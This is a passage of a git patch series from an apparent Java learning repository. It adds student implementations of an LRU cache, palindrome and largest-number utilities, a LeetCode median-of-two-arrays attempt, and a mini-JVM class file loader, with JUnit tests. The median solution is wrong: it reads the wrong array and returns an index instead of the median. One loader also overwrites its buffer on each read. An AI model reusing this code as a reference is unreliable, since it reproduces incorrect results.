rename to group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
rename to group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
similarity index 61%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
rename to group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
index 1551a80b3d..112d1156e8 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
@@ -1,5 +1,8 @@
 package com.coderising.download.api;
 
 public class ConnectionException extends Exception {
-
+	
+	public ConnectionException(Exception e){
+		super(e);
+	}
 }
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
rename to group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
rename to group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
rename to group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
rename to group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
rename to group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
rename to group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
rename to group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
rename to group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
rename to group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
rename to group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java b/group23/1028361767/data-structure/src/com/coding/basic/List.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
rename to group23/1028361767/data-structure/src/com/coding/basic/List.java
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
similarity index 89%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
rename to group23/1028361767/data-structure/src/com/coding/basic/Queue.java
index bb24e2132e..ddd1b74d90 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
@@ -1,5 +1,7 @@
 package com.coding.basic;
 
+import com.coding.basic.linklist.LinkedList;
+
 public class Queue {
 
     private LinkedList linkedList = new LinkedList();
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
similarity index 94%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
rename to group23/1028361767/data-structure/src/com/coding/basic/Stack.java
index 55c96985a9..a98f5d76a5 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
@@ -2,6 +2,8 @@
 
 import java.util.EmptyStackException;
 
+import com.coding.basic.array.ArrayList;
+
 public class Stack {
     private ArrayList elementData = new ArrayList();
 
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
similarity index 95%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
rename to group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
index da0237bdf7..43bdae82fa 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
@@ -1,7 +1,10 @@
-package com.coding.basic;
+package com.coding.basic.array;
 
 import java.util.Arrays;
 
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
 public class ArrayList implements List {
 
     private int size = 0;
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
similarity index 99%
rename from group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
rename to group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
index e497a8e251..8e1b170dc0 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
@@ -1,4 +1,4 @@
-package com.coderising.array;
+package com.coding.basic.array;
 
 import java.util.Arrays;
 
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..50bfb30412
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,112 @@
+package com.coding.basic.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node(int pageNum) {
+			this.pageNum = pageNum;
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+	
+	private int size;
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		/**
+		 * 1、链表为空，直接插入first
+		 * 2、链表未满，往链尾追加
+		 * 3、链表已满，判断链表中是否存在pageNum，若存在，把pageNum，移到链尾；若不存在，把链头删除，把pageNum追加到链尾
+		 */
+		Node newNode = new Node(pageNum);
+		if(size < capacity){
+			if(size == 0){
+				first = newNode;
+			}else{
+				last.next = newNode;
+				newNode.prev = last;
+			}
+			last = newNode;
+			size++;
+			return ;
+		}
+		Node existNode = null;
+		Node tmp = first;
+		do{
+			if(tmp.pageNum == pageNum){
+				existNode = tmp;
+			}
+			tmp = tmp.next;
+		}while(tmp != null);
+		if(existNode == null || existNode == first){
+			tmp = first.next;
+			tmp.prev = null;
+			first = tmp;//链首变为链首后一个节点
+			last.next = newNode;
+			newNode.prev = last;
+			last = newNode;//链尾追加新节点
+		}else if(existNode == last){
+				return ;
+		}else{
+			/**
+			 * 已存在节点的上一个节点的下一个节点指向已存在节点的下一个节点
+			 * 
+			 */
+			Node prev = existNode.prev;
+			Node next = existNode.next;
+			prev.next = next;
+			next.prev = prev;
+			if(prev.prev == null){
+				first = prev;
+			}
+			newNode.prev = last;
+			last.next = newNode;
+			last = newNode;
+			existNode = null;
+		}
+	}
+	
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = last;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.prev;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..c4645c6869
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+	
+	@Test
+	public void testAccessCustom() {
+		LRUPageFrame frame = new LRUPageFrame(5);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		frame.access(5);
+		frame.access(3);
+		Assert.assertEquals("3,5,1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,3,5,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,3,5,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2,5,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2,5,1", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3,2,5", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0,3,2", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,5,4,0,3", frame.toString());
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
similarity index 98%
rename from group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
rename to group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
index eb41670f82..b6f57e977d 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -1,8 +1,11 @@
-package com.coding.basic;
+package com.coding.basic.linklist;
 
 
 import java.util.NoSuchElementException;
 
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
 public class LinkedList implements List {
 
     private Node head;
diff --git a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
new file mode 100644
index 0000000000..2de0c4370d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
@@ -0,0 +1,82 @@
+package com.coding.me;
+
+/**
+ * 回文
+ *
+ */
+public class Palindrome {
+	
+	private static String oddCase(char[] chars, int index) {
+		int maxLength = 1;
+		int i = 1;
+		while((index - i) >= 0 && (index + i) < chars.length - 1){
+			if(chars[index - i] != chars[index + i]){
+				break;
+			}
+			maxLength += 2;
+			i++;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	private static String evenCase(char[] chars, int index) {
+		int maxLength = 0;
+		int i = 0;
+		while((index - i) >= 0 && (index + 1 + i) <= chars.length - 1){
+			if(chars[index - i] != chars[index + 1 + i]){
+				break;
+			}
+			i++;
+			maxLength += 2;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	public static String findLongestPalindrome(String s){
+		char[] chars = s.toCharArray();
+		String longestPalindrome = "";
+		String tmp = "";
+		for(int i=0;i<chars.length;i++){
+			tmp = oddCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+			tmp = evenCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+		}
+		return longestPalindrome;
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(findLongestPalindrome("abcbacda"));
+		int[] nums = {3, 123, 78, 90};
+		System.out.println(largestNumber(nums));
+	}
+	
+	public static String largestNumber(int[] nums) {
+
+        String[] array = new String[nums.length];
+        for (int i = 0; i < nums.length; i++) {
+            array[i] = String.valueOf(nums[i]);
+        }
+
+        String temp;
+        for (int i = 0; i < array.length; i++) {
+            for (int j = i + 1; j < array.length; j++) {
+                if ((array[i] + array[j]).compareTo(array[j] + array[i]) < 0) {
+                    temp = array[i];
+                    array[i] = array[j];
+                    array[j] =temp;
+                }
+            }
+        }
+        
+        if (array[0].equals("0")) {
+            return "0";
+        } else {
+            return String.join("", array);
+        }
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
new file mode 100644
index 0000000000..cf3266c842
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
@@ -0,0 +1,74 @@
+package com.coding.me.leetcode.algorithms;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * There are two sorted arrays nums1 and nums2 of size m and n respectively.
+ * 
+ * Find the median of the two sorted arrays. The overall run time complexity
+ * should be O(log (m+n)).
+ * 
+ * Example 1: nums1 = [1, 3] nums2 = [2]
+ * 
+ * The median is 2.0 Example 2: nums1 = [1, 2] nums2 = [3, 4]
+ * 
+ * The median is (2 + 3)/2 = 2.5
+ * 
+ * @author hewj
+ *
+ */
+public class MedianOfTwoSortedArrays {
+	
+	public double mySolution(int[] nums1, int[] nums2) {
+		if(nums1.length == 0 || nums2.length == 0){
+			return 0;
+		}
+		int[] nums = new int[nums1.length + nums2.length];
+		int i=0,j=0;
+		int a,b;
+		int k=0;
+		while(i<nums1.length && j<nums2.length){
+			a = nums1[i];
+			b=nums[j];
+			if(a == b){
+				nums[k++] = a;
+				nums[k++] = a;
+				i++;
+				j++;
+			}else if(a < b){
+				nums[k++] = a;
+				i++;
+			}else{
+				nums[k++] = b;
+				j++;
+			}
+		}
+		if(i < nums.length){
+			nums[k++] = nums1[i++];
+		}else if(j < nums.length){
+			nums[k++] = nums2[j++];
+		}
+		int mid = k/2;
+		int remain = k%2;
+		if(remain == 0){
+			return mid;
+		}
+		return (double)(nums[mid] + nums[mid+1])/2;
+    }
+	
+	private MedianOfTwoSortedArrays motsa;
+	
+	@Before
+	public void setup(){
+		motsa = new MedianOfTwoSortedArrays();
+	}
+	
+	@Test
+	public void testMySolution(){
+		int[] nums1 = {2};
+		int[] nums2 = {1,3};
+		System.out.println(motsa.mySolution(nums1, nums2));
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
similarity index 97%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
index 61562d2a39..791157d0d6 100644
--- a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
@@ -1,9 +1,10 @@
 package test.com.coding.basic;
 
-import com.coding.basic.ArrayList;
 import org.junit.Assert;
 import org.junit.Test;
 
+import com.coding.basic.array.ArrayList;
+
 public class TestArrayList {
 
     @Test
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
similarity index 100%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
diff --git a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
similarity index 97%
rename from group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
rename to group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
index 39b41c1317..3a4a79ba0d 100644
--- a/group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
+++ b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
@@ -1,11 +1,11 @@
 package test.com.coding.basic;
 
-import static org.junit.Assert.*;
+import static org.junit.Assert.fail;
 
 import org.junit.Assert;
 import org.junit.Test;
 
-import com.coding.basic.LinkedList;
+import com.coding.basic.linklist.LinkedList;
 
 public class TestLinkedList {
 	
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..e9f6541cc1
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,74 @@
+package com.coderising.jvm.loader;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		className = castClassName(className);
+		File file = null;
+		FileInputStream fis = null;
+		for(String clzPath : clzPaths){
+			file = new File((clzPath + className));
+			try {
+				fis = new FileInputStream(file);
+				byte[] bytes = new byte[2048];
+				int i = 0;
+				int sum = 0;
+				while((i = fis.read(bytes)) != -1){
+					sum += i;
+				}
+				fis.close();
+				return Arrays.copyOf(bytes, sum);
+			} catch (FileNotFoundException e) {
+				continue;
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		return new byte[0];
+	}
+	
+	private String castClassName(String className) {
+		String[] packs = className.split("\\.");
+		StringBuilder sb = new StringBuilder("/");
+		for(int i=0;i<packs.length;i++){
+			sb.append(packs[i]);
+			if(i == packs.length-1){
+				sb.append(".class");
+			}else{
+				sb.append("/");
+			}
+		}
+		return sb.toString();
+	}
+
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+	
+	
+	
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		for(String clzPath : clzPaths){
+			sb.append(clzPath).append(";");
+		}
+		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
+	}
+
+	
+
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..27e84b762a
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
+	static String path2 = "/tmp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file

From a7a0c75ff241179d6e020e3708b061ac323c2bc1 Mon Sep 17 00:00:00 2001
From: yyglider <yaoyuan0120@126.com>
Date: Wed, 29 Mar 2017 13:18:25 +0800
Subject: [PATCH 030/262] update

update
---
 .../main/java/code03/impl/ConnectionImpl.java |   1 -
 .../src/main/java/code04/LRUPageFrame.java    | 162 ++++++++++++++++++
 .../java/mini_jvm/loader/ClassFileLoader.java | 108 ++++++++++++
 .../test/java/code04/LRUPageFrameTest.java    |  38 ++++
 .../java/mini_jvm/ClassFileloaderTest.java    |  71 ++++++++
 .../src/test/java/mini_jvm/EmployeeV1.java    |  28 +++
 6 files changed, 407 insertions(+), 1 deletion(-)
 create mode 100644 group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
 create mode 100644 group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
 create mode 100644 group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
 create mode 100644 group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
 create mode 100644 group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java

diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
index 069f21625b..ce69eceb99 100644
--- a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
+++ b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
@@ -36,7 +36,6 @@ public byte[] read(int startPos, int endPos) throws IOException {
 		InputStream raw = null;
 		BufferedInputStream in = null;
 		int size = endPos - startPos + 1;
-
 		byte[] data = new byte[size];
 		try{
 			raw = urlConnection.getInputStream();
diff --git a/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java b/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
new file mode 100644
index 0000000000..0ffce58b83
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code04/LRUPageFrame.java
@@ -0,0 +1,162 @@
+package code04;
+
+/**
+ * 用双向链表实现LRU算法
+ */
+public class LRUPageFrame {
+	
+	private  class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+		Node() {
+		}
+	}
+
+	private int size;
+	private int capacity;
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public LRUPageFrame(int capacity) {
+		this.capacity = capacity;
+		this.size = 0;
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 1、如果缓存中不存在，则直接加入表头
+	 * 2、如果缓存中存在，则把该对象移动到表头
+	 * @param pageNum
+	 * @return
+	 */
+	public void access(int pageNum) {
+		Node node = hasContains(pageNum);
+		if(node != null){
+			moveToHead(node);
+		}else {
+			addToHead(pageNum);
+		}
+	
+	}
+
+	/**
+	 * 对象是否存在缓存中，如存在则返回该对象在链表中的位置，否则返回null
+	 * @return
+     */
+	private Node hasContains(int key){
+		Node node = this.first;
+		while (node != null){
+			if(node.pageNum == key){
+				return node;
+			}
+			node = node.next;
+		}
+		return node;
+	}
+
+	/**
+	 * 对象加入表头，先先判断缓存是否已经满了
+	 * @return
+     */
+	private void addToHead(int key){
+		Node node = new Node();
+		node.pageNum = key;
+		if(size < capacity){
+			addFirst(node);
+		}else {
+			removeLast();
+			addFirst(node);
+		}
+
+	}
+
+
+	/**
+	 * 对象移动到表头
+	 * @return
+     */
+	private void moveToHead(Node node){
+		if(node == first){
+			return;
+		}
+		if(node == last){
+			node.next = first;
+			first.prev = node;
+			first = node;
+			last = node.prev;
+			last.next = null;
+			node.prev = null;
+			return;
+		}
+		node.prev.next = node.next;
+		node.next.prev = node.prev;
+		node.next = first;
+		node.prev = null;
+		first.prev = node;
+		first = node;
+	}
+
+	/**
+	 * 删除表尾
+	 * @return
+     */
+	private void removeLast(){
+		if(last != null){
+			Node newLast = last.prev;
+			last.prev = null;
+			last = newLast;
+			last.next = null;
+			size --;
+		}
+	}
+	/**
+	 * 添加元素到表头
+	 * @return
+     */
+	private void addFirst(Node node){
+		//0个节点
+		if(first == null){
+			first = node;
+			last = node;
+			size ++;
+			return;
+		}
+		//一个节点
+		else if(first == last){
+			first = node;
+			first.next = last;
+			last.prev = first;
+			size ++;
+			return;
+		}else {
+			node.next = first;
+			first.prev = node;
+			first = node;
+			size ++;
+		}
+	}
+	/**
+	 * 当前链表空间
+	 * @return
+     */
+	public int getSize() {
+		return size;
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java b/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..81e6973856
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/mini_jvm/loader/ClassFileLoader.java
@@ -0,0 +1,108 @@
+package mini_jvm.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	/**
+	 * 读取class文件的二进制代码
+	 * @param className
+	 * @return
+     */
+	public byte[] readBinaryCode(String className) {
+		String clazzPath = getClassPath(className);
+		BufferedInputStream bins = null;
+		ByteArrayOutputStream  bouts = new ByteArrayOutputStream();
+		try {
+			bins = new BufferedInputStream(new FileInputStream(new File(clazzPath)));
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			while((length = bins.read(buffer)) != -1){
+				bouts.write(buffer, 0, length);
+			}
+		} catch (FileNotFoundException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		byte[] codes = bouts.toByteArray();
+		//关闭流
+		try {
+			if(bins != null){
+				//调用外层流的close方法就关闭其装饰的内层流
+				bins.close();
+			}
+			if(bouts != null){
+				bouts.close();
+			}
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return codes;
+	}
+
+	/**
+	 * 从扫描根目录，获取指定类的绝对路径
